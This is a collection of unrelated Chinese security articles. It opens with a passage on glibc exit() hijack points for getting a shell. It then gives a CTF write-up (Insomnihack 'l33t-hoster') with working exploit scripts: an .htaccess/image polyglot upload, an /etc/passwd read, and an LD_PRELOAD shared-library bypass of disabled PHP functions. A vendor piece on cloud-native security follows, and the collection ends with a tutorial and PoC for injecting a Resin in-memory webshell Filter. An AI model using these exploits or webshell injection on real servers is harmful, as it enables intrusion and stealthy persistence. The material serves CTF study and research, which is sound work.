其中默认只有一个函数fcloseall()
* 这个函数会调用_IO_cleanup()
int __fcloseall (void)
{
/* Close all streams. */
return _IO_cleanup ();
}
* _IO_cleanup()会调用两个函数
* _IO_flush_all_lockp()会通过_IO_list_all遍历所有流, 对每个流调用_IO_OVERFLOW(fp), 保证关闭前缓冲器中没有数据残留
* _IO_unbuffer_all()会通过_IO_list_all遍历所有流, 对每个流调用_IO_SETBUF(fp, NULL, 0), 来释放流的缓冲区
int _IO_cleanup(void)
{
/* 刷新所有流 */
int result = _IO_flush_all_lockp(0);
/* 关闭所有流的缓冲区 */
_IO_unbuffer_all();
return result;
}
* 那么至此我们又发现一个攻击点, 可以通过劫持流的虚表中的overflow函数为system, 在fp头部写入/bin/sh, 就可以在exit()关闭流时getshell
* 这里只是一个抛砖引玉, 更多的内容就是FSOP相关的了
## 总结
* 整个exit流程如下
* 相关利用手法
* 劫持ld中rtld_global结构体的_dl_rtld_unlock_recursive/_dl_rtld_lock_recursive
* 劫持ld中rtld_global结构体的l_info中关于fini_array / fini 的描述符, 从而伪造一个析构函数节
* 如果可写入的话: 劫持ELF中fini_array节
* 劫持流的虚表中overflow函数指针, 在fcloseall()时触发 | 社区文章 |
原文链接：<https://corb3nik.github.io/blog/insomnihack-teaser-2019/l33t-hoster>
## 描述
你可以在这而上传你的l33t照片。[这里](http://35.246.234.136/)
* * *
## 题目
Insomnihack出的有一道不错的题目！
此题目包含一个文件上传服务，允许用户往专门创建的文件夹中上传图像。
通过检查源代码，我们可以找到HTML注释`<!-- /?source -->`，因此可以通过GET请求参数`source`查看题目代码。
以下是题目代码：
<?php
if (isset($_GET["source"]))
die(highlight_file(__FILE__));
session_start();
if (!isset($_SESSION["home"])) {
$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
mkdir($userdir);
}
$disallowed_ext = array(
"php",
"php3",
"php4",
"php5",
"php7",
"pht",
"phtm",
"phtml",
"phar",
"phps",);
if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
}
$tmp_name = $_FILES["image"]["tmp_name"];
$name = $_FILES["image"]["name"];
$parts = explode(".", $name);
$ext = array_pop($parts);
if (empty($parts[0])) {
array_shift($parts);
}
if (count($parts) === 0) {
die("lol filename is empty");
}
if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
}
$image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
die("why would you need php in a pic.....");
}
if (!exif_imagetype($tmp_name)) {
die("not an image.");
}
$image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}
$name = implode(".", $parts);
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}
echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";
?>
<h1>Upload your pics!</h1>
<form method="POST" action="?" enctype="multipart/form-data">
<input type="file" name="image">
<input type="submit" name=upload>
</form>
<!-- /?source -->
## 确定题目意图
上面的脚本允许用户在目录`images/[20_random_bytes_in_hex]/[filename]`上传文件。
成功上传后，将显示文件位置，并允许用户访问其文件。
这里无法上传任意类型文件。实际上，必须遵守以下限制：
* 上传的文件不能有PHP扩展名（`.php`，`.php3`，`.phar`，...）。
* 上传的文件不能包含`<?`。
* 上传的文件必须是大小为1337x1337的有效图像。
假设我们想要获得RCE，我们需要找到一种不使用PHP扩展就可以执行PHP代码的方法。
上传 **.htaccess** 文件可以帮助我们解决这个问题，但是由于图像限制，我们需要找到一种方法来创建有效的 **.htaccess/image**
多语意文件。
## 找到一个可能的.htaccess/image多语意文件
寻找.htaccess/image多语言文件的主旨是我们需要一个可被解释为.htaccess文件而没有任何错误的图像文件。
每个图像文件格式都以一些魔术字节开头，以此来定义自身类型。例如，PNG将以4个字节`\x89PNG`开头。由于`\x89PNG`不是有效的.htacces指令，因此我们无法将PNG文件格式用于我们的多语意文件中。
因此，我首先尝试寻找一个签名开头带有`＃`符号的文件格式。由于`＃`符号被解释为.htaccess文件中的注释，因此将忽略图像数据的其余部分，从而生成有效的.htaccess/image多语意文件。
不幸的是，我找不到以`＃`开头的图像文件格式。
* * *
后来，我的一个队友（@Tuan_Linh_98）发现在.htaccess文件中也会忽略以空字节（`\x00`）开头的行，这和注释（`＃`）一样。
查看`exif_imagetype()`支持的图像类型，我们可以下载每种类型的样本并寻找以空字节开头的签名。
一个很好的候选者是`.wbmp`文件：
$ xxd original.wbmp | head
00000000: 0000 8930 8620 0000 0000 0000 0000 0000 ...0. ..........
00000010: 0000 0000 0000 0000 0012 4908 0002 0081 ..........I.....
00000020: 0440 0000 0000 0000 0000 0000 2400 0009 .@..........$...
00000030: 2092 4800 0000 0000 0000 0000 1248 4012 .H..........H@.
## 创建.htaccess/image多语意文件
简单起见，我需要找到最小的能用的`.wbmp`文件。我用以下php脚本实现
<?php
error_reporting(0);
$contents = file_get_contents("../payloads/original.wbmp");
$i = 0;
while (true) {
$truncated = substr($contents, 0, $i);
file_put_contents("truncated.wbmp", $truncated);
if (exif_imagetype("truncated.wbmp")) break;
$i += 1;
}
echo "Shortest file size : $i\n";
var_dump(exif_imagetype("truncated.wbmp"));
var_dump(getimagesize("truncated.wbmp"));
?>
... 输出结果为：
$ php solution.php && xxd truncated.wbmp
Shortest file size : 6
int(15)
array(5) {
[0]=>
int(1200)
[1]=>
int(800)
[2]=>
int(15)
[3]=>
string(25) "width="1200" height="800""
["mime"]=>
string(18) "image/vnd.wap.wbmp"
}
00000000: 0000 8930 8620 ...0.
看起来定义一个有效的`.wbmp`文件只需要6个字节！我们可以假设宽度和高度在第3-第6字节存储。
通过hex editor，你可以修改这些字节来得到1337x1337的大小。最终尺寸为1337x1337的`.wbmp`图片长这样：
$ xxd truncated.wbmp
00000000: 0000 8a39 8a39 ...9.9
* * *
在这个文件中，我们添加的任意数据都将被视为有效：
## 找到php代码执行方法
既然我们可以上传.htaccess文件，下一步就是找到代码执行得方式。由于`<?`被过滤，我们不能简单地上传PHP脚本并让它执行。
`php_value`是.htaccess文件中可以用的指令之一。该指令允许我们使用`PHP_INI_PERDIR`标志修改[此处列表](http://php.net/manual/en/ini.list.php)里的任何设置。
在这些设置中，有个`auto_append_file`，它允许我们在请求PHP文件时添加或包含一个文件。后来发现，`auto_append_file`还允许各种包装器，如`php://`。
我们来试试吧。上传一个.htaccess文件，设置扩展名为`.corb3nik`的文件当做PHP执行，并在最后添加`php://filter/convert.base64-encode/resource=/etc/passwd`：
POST /? HTTP/1.1Host: 35.246.234.136Content-Length: 393Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRLxLDsJy2MLYk3NTCookie: PHPSESSID=asdfasdfConnection: close
------WebKitFormBoundaryRLxLDsJy2MLYk3NT
Content-Disposition: form-data; name="image"; filename="..htaccess"
Content-Type: application/octet-stream
9
9
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-encode/resource=/etc/passwd"
------WebKitFormBoundaryRLxLDsJy2MLYk3NT
Content-Disposition: form-data; name="upload"
Submit
------WebKitFormBoundaryRLxLDsJy2MLYk3NT--
我们再来上传一个普通的`trigger.corb3nik`文件（内容无关紧要）并请求它。
$ curl http://35.246.234.136/images/86fd160f5f370ffe1c6c35571bd98b7f0ce64742/trigger.corb3nik
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgo=99
由于可以使用`php://`，我们可以在文件中用base64编码PHP代码并上传，再用.htaccess文件对它做base64解码，并在响应返回之前评估其内容。
为了简化这个过程，我写了一个python脚本：
#!/usr/bin/env python3
import requests
import base64
VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://35.246.234.136/"
RANDOM_DIRECTORY = "ad759ad95e5482e02a15c5d30042b588b6630e64"
COOKIES = {
"PHPSESSID" : "0e7eal0ji7seg6ac3ck7d2csd8"}
def upload_content(name, content):
data = {
"image" : (name, content, 'image/png'),
"upload" : (None, "Submit Query", None)
}
response = requests.post(URL, files=data, cookies=COOKIES)
HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
var_dump("works");
?>
""")
upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)
response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik")
print(response.text)
... 运行之后：
$ python solution.py
�9�9
��
string(5) "works"
可以运行PHP代码了！
## 找到命令执行方法
使用上面的python脚本，我们可以运行任意PHP代码。我们试了几个典型的shell函数，例如`system()`和`exec()`，但发现这些函数大部分被屏蔽了。调用`phpinfo()`得到以下列表：
在这种情况下，获取命令执行的已知办法是通过`mail()`函数。
PHP的`mail()`函数调用`execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "],
...)`。由于这种实现，如果我们使用自写动态库设置环境变量`LD_PRELOAD`，从而修改`/bin/sh`的行为并获得命令执行。[这里](https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/)阅读更多相关信息。
即使`/usr/sbin/sendmail`不存在，这办法也有用。我们可以用一个小的PHP脚本来证明：
<?php
putenv("LD_PRELOAD=garbage");
mail('a','a','a');
?>
$ php index.php
ERROR: ld.so: object 'garbage' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
sh: 1: /usr/sbin/sendmail: not found
在自写库中，我们重写了`getuid()`函数：
$ cat evil.c
/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
#include <stdlib.h>#include <stdio.h>#include <string.h>
void payload(char *cmd) {
char buf[512];
strcpy(buf, cmd);
strcat(buf, " > /tmp/_0utput.txt");
system(buf);}
int getuid() {
char *cmd;
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
if ((cmd = getenv("_evilcmd")) != NULL) {
payload(cmd);
}
return 1;
}
上面的代码将使用`_evilcmd`环境变量中指定的命令运行`system()`。输出将发送到`/tmp/_0utput.txt`。
这是新的python利用脚本（这里调用的命令是`uname -a`）：
#!/usr/bin/env python3
import requestsimport base64
VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://35.246.234.136/"
RANDOM_DIRECTORY = "ad759ad95e5482e02a15c5d30042b588b6630e64"
COOKIES = {
"PHPSESSID" : "0e7eal0ji7seg6ac3ck7d2csd8"}
def upload_content(name, content):
data = {
"image" : (name, content, 'image/png'),
"upload" : (None, "Submit Query", None)
}
response = requests.post(URL, files=data, cookies=COOKIES)
HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
move_uploaded_file($_FILES['evil']['tmp_name'], '/tmp/evil.so');
putenv('LD_PRELOAD=/tmp/evil.so');
putenv("_evilcmd=uname -a");
mail('a','a','a');
echo file_get_contents('/tmp/_0utput.txt');
?>
""")
upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)
files = { "evil" : open("../payloads/evil.so", "rb") }
response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik", files=files)
print(response.text)
$ python solution.py # uname -a
�9�9
��
Linux ab5411ade442 4.15.0-1026-gcp #27-Ubuntu SMP Thu Dec 6 18:27:01 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ python solution.py # ls -lah /
�9�9
��
total 104K
drwxr-xr-x 1 root root 4.0K Jan 20 08:25 .
drwxr-xr-x 1 root root 4.0K Jan 20 08:25 ..
-rwxr-xr-x 1 root root 0 Jan 20 08:25 .dockerenv
drwxr-xr-x 1 root root 4.0K Jan 9 15:45 bin
drwxr-xr-x 2 root root 4.0K Apr 24 2018 boot
drwxr-xr-x 5 root root 360 Jan 20 08:25 dev
drwxr-xr-x 1 root root 4.0K Jan 20 08:25 etc
-r-------- 1 root root 38 Jan 10 15:10 flag
-rwsr-xr-x 1 root root 17K Jan 10 15:10 get_flag
drwxr-xr-x 2 root root 4.0K Apr 24 2018 home
drwxr-xr-x 1 root root 4.0K Nov 12 20:54 lib
drwxr-xr-x 2 root root 4.0K Nov 12 20:55 lib64
drwxr-xr-x 2 root root 4.0K Nov 12 20:54 media
drwxr-xr-x 2 root root 4.0K Nov 12 20:54 mnt
drwxr-xr-x 2 root root 4.0K Nov 12 20:54 opt
dr-xr-xr-x 362 root root 0 Jan 20 08:25 proc
drwx------ 1 root root 4.0K Jan 20 09:58 root
drwxr-xr-x 1 root root 4.0K Jan 9 15:46 run
drwxr-xr-x 1 root root 4.0K Nov 19 21:20 sbin
drwxr-xr-x 2 root root 4.0K Nov 12 20:54 srv
dr-xr-xr-x 13 root root 0 Jan 19 20:39 sys
d-wx-wx-wt 1 root root 4.0K Jan 20 21:28 tmp
drwxr-xr-x 1 root root 4.0K Nov 12 20:54 usr
drwxr-xr-x 1 root root 4.0K Jan 9 15:45 var
$ python solution.py # /get_flag
�9�9
��
Please solve this little captcha:
2887032228 + 1469594144 + 3578950936 + 3003925186 + 985175264
11924677758 != 0 :(
就要出来了！貌似解开这个验证码就能拿到flag。
## 解验证码
为了获得flag，我们需要求解可执行文件`/get_flag`给出的等式。
`/get_flag`文件要求用户在不到一秒的时间内输入，因此我们需要一个自动化解算器。
运行几次后我发现这个等式只是在做加法。
我决定用C来写求解器：
$ cat captcha_solver.c
#include <string.h>
#include <stdint.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>
int main() {
pid_t pid = 0;
int inpipefd[2];
int outpipefd[2];
pipe(inpipefd);
pipe(outpipefd);
pid = fork();
if (pid == 0) {
dup2(outpipefd[0], STDIN_FILENO);
dup2(inpipefd[1], STDOUT_FILENO);
dup2(inpipefd[1], STDERR_FILENO);
prctl(PR_SET_PDEATHSIG, SIGTERM);
execl("/get_flag", "get_flag", (char*) NULL);
exit(1);
}
close(outpipefd[0]);
close(inpipefd[1]);
char data[0xff] = {0};
// Read first line
for (; data[0] != '\n'; read(inpipefd[0], data, 1));
// Read captcha
read(inpipefd[0], data, 0xff);
uint64_t sum = 0;
char *pch;
printf("Raw : %s\n", data);
pch = strtok (data, "+");
printf("Sum : %lu\n", sum);
while (pch != 0) {
sum += strtoull(pch, 0, 10);
printf("Operand : %lu\n", atol(pch));
printf("Sum : %lu\n", sum);
pch = strtok (0, "+");
}
char result[32] = {0};
sprintf(result, "%lu\n", sum);
printf("Result : %lu\n", sum);
write(outpipefd[1], result, 16);
memset(data, 0, 0xff);
read(inpipefd[0], data, 0xff);
printf("Final : %s", data);
}
上面的代码首先上启动`/get_flag`，获取等式，用`+`作为分隔符将其拆分，对每个部分求和，再将结果发回二进制文件并打印flag。
最后的PHP代码：
<?php
// Upload the solver and shared library
move_uploaded_file($_FILES['captcha_solver']['tmp_name'], '/tmp/captcha_solver');
move_uploaded_file($_FILES['evil']['tmp_name'], '/tmp/evil_lib');
// Set the captcha_solver as executable
putenv('LD_PRELOAD=/tmp/evil_lib');
putenv("_evilcmd=chmod +x /tmp/captcha_solver");
mail('a','a','a');
// Run the captcha solver
putenv("_evilcmd=cd / && /tmp/captcha_solver");
mail('a','a','a');
// Print output
echo file_get_contents('/tmp/_0utput.txt');
?>
... 最终结果：
$ python solution.py
�9�9
��
Raw : 4185107874 + 1348303100 + 4161955080 + 4235948880 + 3410743011
Sum : 0
Operand : 4185107874
Sum : 4185107874
Operand : 1348303100
Sum : 5533410974
Operand : 4161955080
Sum : 9695366054
Operand : 4235948880
Sum : 13931314934
Operand : 3410743011
Sum : 17342057945
Result : 17342057945
Final : INS{l33t_l33t_l33t_ich_hab_d1ch_li3b}
Flag : INS{l33t_l33t_l33t_ich_hab_d1ch_li3b} | 社区文章 |
# 云原生安全2.X 进化论系列|云原生安全从1.X到2.X的演变之路（1）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
随着云计算技术的蓬勃发展，传统上云实践中的应用升级缓慢、架构臃肿、无法快速迭代等“痛点”日益明显。能够有效解决这些“痛点”的云原生技术正蓬勃发展，成为赋能业务创新的重要推动力，并已经应用到企业核心业务。然而，云原生技术在创造效益的同时，却也面临着严峻的安全问题。当下常见的
**云原生安全产品在发挥效能的同时也引入新问题** 。作为数字经济时代下的特殊产物，云原生安全解决方案的未来与演进又该何去何从？
安全狗推出 **云原生安全2.X专题** ，用翔实的系列文章为读者揭晓云原生安全的演进之路以及未来趋势。
## IT架构质变
**云原生应用各层之间的界限模糊**
从IT架构的角度来看，云原生化最显著的特点就是云原生应用各层之间的界限模糊，如下图所示。通过解构云原生环境分层实验，可以显著的 **得出一个结论**
：应用程序层和基础设施层之间没有明确的界限。无论用户采用何种维度或方法，都无法将每种类型的资源整齐地分类到不同的层或其他层。
图1
在这种环境下，基础设施层在哪里停止？应用层从哪里开始？无法得知。有读者可能会争辩说容器是应用程序层的一部分，因为它们包含应用程序的代码。但是我们也可以提出同样等效的论点，即容器是云基础设施层的一部分，因为它们提供了运行应用程序代码的托管环境的一部分。
## 云原生安全1.X：
**基于分层理念的单点安全堆叠**
在单体应用架构时代，IT
安全模型还相对简单。它们被分成几层：基础设施层、应用层、网络层等等。每一层都与不同类型的风险相关联，每个专门的安全团队的任务是在每一层内实施必要的控制以应对这些风险。
从安全视角来看，云原生技术落地应用也催生了新的云原生安全基础设施。典型产品包括镜像安全、容器安全、网络微隔离、CSPM等等。这些产物的基本思路继承了以往单体应用时代IT安全模型分层的理念，每个产品专注于解决某个层面的风险与威胁。
这种基于分层理念的单点安全能力我们定义为云原生安全1.X。
图2
## 云原生安全1.X时代主要安全产品：
**云原生安全1.0：**
– 镜像安全
– 容器安全：容器安全防护平台等
– 网络安全：容器网络微隔离，或容器防火墙，主机网络微隔离等
– 宿主机安全：云工作负载安全（CWPP）
**云原生安全1.0扩展（1X）：**
– 应用安全
• CI/CD安全（DevSecOps）
• API安全
• Serverless
– 云安全态势（CSPM）
– 云基础设施权利管理 (CIEM)
– … …
笔者针对演进了近3年以上的云原生安全1.X方案和产品进行复盘总结，发现用户为出现的每个问题采用了独立的解决方案或工具，最终采用了
**一种引入更多问题的拼凑方法** ，例如：
1
**单点解决方案导致更多的工作**
管理越来越多的工具最终成为它自己的工作流程。而且由于大多数解决方案在没有更多工作的情况下无法相互通信，因此团队获得的可见性和保护有限。
2
**无法应用一致的保护**
数十种安全工具可以在应用程序生命周期的单个时间点执行检查。但是，如果没有跨开发、部署和运行时的一致控制，安全和风险团队就会陷入比较不同的漏洞和错误配置的结果。
3
**分散造成盲点**
大多数云安全团队需要跨云服务、工作负载或应用程序、网络、数据和权限分析威胁。如果没有统一的工具平台支持，解决方案之间衔接缝隙就会出现盲点。
因此 **云原生安全1.X势必要成为过去时** 。由于云原生架构和基础架构即代码
(IaC)等技术，以及应用程序安全性和基础架构安全性之间的界限变得越来越模糊，单点产品堆叠式解决方案推动安全团队考虑分层的安全风险和工具，并且如果只理解其中一层的风险，可能会加剧另一层中的风险，这样既增加安全负担，也无法形成联合发现与联合抵御的安全合力。
综合来讲，基于分层理念的单点能力组合式产品方案，与云原生在架构上各层之间的模糊化产生了结构性矛盾。
> “ **云原生安全未来的演进路线是什么** ”的新问题也迎面而来，向我们发问。安全狗给出的答案是“ **一体化覆盖全栈安全** ”。
由于应用程序安全性和基础设施安全性已经成为一体，云原生安全方案的实施应该识别和减轻整个堆栈风险的保护措施， **云原生安全架构需要“一体化”**
，覆盖全栈安全需求的体系化思路重构。也就是将安全功能整合到一个单一、无缝的解决方案中，以保护整个云原生应用程序生命周期。这些集成功能使DevOps、云基础设施和安全团队能够在复杂多变的云环境中有效且高效地实现成功的云原生安全。
## “一体化”趋势：
**从Gartner CWPP、CSPM到CNAPP模型**
笔者进一步调研发现，朝 **“一体化”**
的演进路线发展想法其实也与Gartner的观点不谋而合的。Gartner近几年先后提出多个单点安全能力的云原生安全模型，包括：CWPP、CSPM、CIEM等模型。而最后提出的云原生应用保护平台(CNAPP)，是统领上述单点模型方案的单一整体平台。
**本质上** ，从安全架构的角度来看，Gartner CNAPP模型可以归纳为， **覆盖全生命周期的五个安全一体化** 。
图3 Gartner CNAPP模型
图4
## 云原生安全2.X：
**企业级“一体化”全栈安全架构**
安全狗将云原生安全的未来，即， **“一体化”全栈云原生安全模型方案，定义为云原生安全2.X**
。只要覆盖从代码到云的全栈整体安全，且满足五大安全一体化特征的云原生安全平台，则可称为云原生安全2.X产品方案。
图5
**5+X** **一体化落地架构模型**
作为安全狗在业界首次提出来的云原生安全2.X概念，具体如何落地也吸引了很多用户的关注。
对此，安全狗提出了一个 **5+X一体化落地架构模型** 。其中5个安全一体化是基础，是必须要实现的内容，X代表扩展。
图6
本文主要分析并复盘了云原生安全1.0产品的不足之处以及局限性。通过对Gartner等咨询机构提出的前沿技术做出分析，并结合安全狗的云原生安全2.X落地经验总结出云原生安全的未来，即，云原生安全2.X及其落地模型。在下篇文章笔者将重点介绍云原生安全2.X的五大一体化特征内涵。 | 社区文章 |
# Resin内存马逆袭之路
Ha1ey@深蓝攻防实验室天魁战队
## 前言
故事还是要从很久很久以前说起，红蓝对抗越来越激烈，常见的免杀Webshell文件已经逃脱不了蓝队大佬的火眼金睛了，函数混淆的花里胡哨最后还是能被轻松分析，所以早在很多年前，就已经进入了内存马的时代，内存马是一种新的无文件的Webshell类型。市面常见的内存马都是针对Tomcat、Spring的，直到有一天我遇到了某微，落地的Webshell文件被乱揍，于是开启了Resin内存马学习之路。
## 关于Resin
首先了解一下Resin是个啥，Resin是CAUCHO公司的产品，是一个Application
Server，支持Servlet和JSP的引擎，速度非常快，并且可以和Apache、IIS等其他WEB服务器一起工作，也支持负载均衡，所以许多站点都是使用该WEB服务器构建的。
## 调试环境搭建
IDEA：2022.2
Resin：4.0.58
JDK：JDK8u261
工欲善其事必先利其器，先本地搭建环境调试一下，搭建环境发现官方的下载地址各种被Ban，不明所以，不过最后还是搞到了包。
IDEA直接创建Resin，如果没有的，去IDEA装一个Resin的插件就好了，Configuration选择我们下载好的Resin环境包。
后面生成一个war包就好了
导入`resin/lib`，方便我们后面调试。
修改 `resin/conf/resin.xml`文件中的`<web-app id="/" root-directory="绝对路径"/>`，修改一下默认解析目录。
IDEA启动。
## 分析过程
常见的动态注册内存马有Listen、Filter、Servlet几种方式，不管是哪种内存马都需要先获取上下文对象，上下文对象需要通过`request`获取，一般`request`会存储在当前线程对象中。
### Filter
Tomcat等一般都可以通过`javax.servlet.ServletRequest.getServletContext()`方法直接获取，但是Resin行不通，那就先看在Resin的堆栈翻一下。
doFilter:19, Main (com.test)
doFilter:89, FilterFilterChain (com.caucho.server.dispatch)
doFilter:156, WebAppFilterChain (com.caucho.server.webapp)
doFilter:95, AccessLogFilterChain (com.caucho.server.webapp)
service:304, ServletInvocation (com.caucho.server.dispatch)
handleRequest:840, HttpRequest (com.caucho.server.http)
dispatchRequest:1367, TcpSocketLink (com.caucho.network.listen)
handleRequest:1323, TcpSocketLink (com.caucho.network.listen)
handleRequestsImpl:1307, TcpSocketLink (com.caucho.network.listen)
handleRequests:1215, TcpSocketLink (com.caucho.network.listen)
handleAcceptTaskImpl:1011, TcpSocketLink (com.caucho.network.listen)
runThread:117, ConnectionTask (com.caucho.network.listen)
run:93, ConnectionTask (com.caucho.network.listen)
handleTasks:175, SocketLinkThreadLauncher (com.caucho.network.listen)
run:61, TcpSocketAcceptThread (com.caucho.network.listen)
runTasks:173, ResinThread2 (com.caucho.env.thread2)
run:118, ResinThread2 (com.caucho.env.thread2)
找到`service:304, ServletInvocation (com.caucho.server.dispatch)`
`com.caucho.server.dispatch.ServletInvocation#getContextRequest()`可以获得一个`ServletRequest`对象
通过反射获取一下`ServletRequest` 对象
ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
下面就需要找哪里可以动态注册恶意Filter了，再看一下堆栈信息，这里有`WebApp`属性包含了`_filterManager`
和`_filterMapper`
`WebAPP`的类继承关系，`WebApp`最终还是继承自`ServletContext`
我们可以强转子类，将`ServletContext`强转成`WebApp`
获取WebApp对象
WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
看一下`_filterManager`包含`_filters`以Map形式存储`FilterConfigImpl`对象，`_urlPatterns`存储了，Filter名和Filter对应的URL。
`URLPattern`对象可以通过`FilterMapping#createUrlPattern()`获取
FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern();
urlPattern.addText(url);
`_filterMap` 以List的形式存储`FilterMapping`对象，`FilterMapping`存储着URL和filter的对应关系
//获取_filtermanager
Field filtermanager_field = webApp.getClass().getDeclaredField("_filterManager");
filtermanager_field.setAccessible(true);
FilterManager filterManager = (FilterManager) filtermanager_field.get(webApp);
//获取_filters
Field filters_field = filterManager.getClass().getDeclaredField("_filters");
filters_field.setAccessible(true);
HashMap<String, FilterConfigImpl> filters = (HashMap<String, FilterConfigImpl>) filters_field.get(filterManager);
#### POC
public class TestFilter extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse res) {
String filtername = "FilterShell";
String url = "/filter";
Class clzz;
try {
//获取request对象
ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
//获取webapp
WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
// //获取_filtermanager
// Field filtermanager_field = webApp.getClass().getDeclaredField("_filterManager");
// filtermanager_field.setAccessible(true);
// FilterManager filterManager = (FilterManager) filtermanager_field.get(webApp);
// //获取_filters
// Field filters_field = filterManager.getClass().getDeclaredField("_filters");
// filters_field.setAccessible(true);
// HashMap<String, FilterConfigImpl> filters = (HashMap<String, FilterConfigImpl>) filters_field.get(filterManager);
clzz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil"); //方便调试，实战换成defineClass加载字节码
FilterMapping filterMapping = new FilterMapping();
filterMapping.setFilterClass(clzz.getName());
filterMapping.setFilterName(filtername);
FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern();
urlPattern.addText(url);
webApp.addFilterMapping(filterMapping);
res.getWriter().write("Resin Filter Inject Success!!");
} catch (Exception ignored) {
}
}
}
### Servlet
获取`request`对象过程复用上面Filter的
ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
自实现一个Servlet，看一下调用栈中的几个关键属性`_serlvetName`、`_servletClassName`、`_servletClass`、`_urlPatterns`
doGet:20, TestServlet (com.test)
service:120, HttpServlet (javax.servlet.http)
service:97, HttpServlet (javax.servlet.http)
doFilter:109, ServletFilterChain (com.caucho.server.dispatch)
doFilter:156, WebAppFilterChain (com.caucho.server.webapp)
doFilter:95, AccessLogFilterChain (com.caucho.server.webapp)
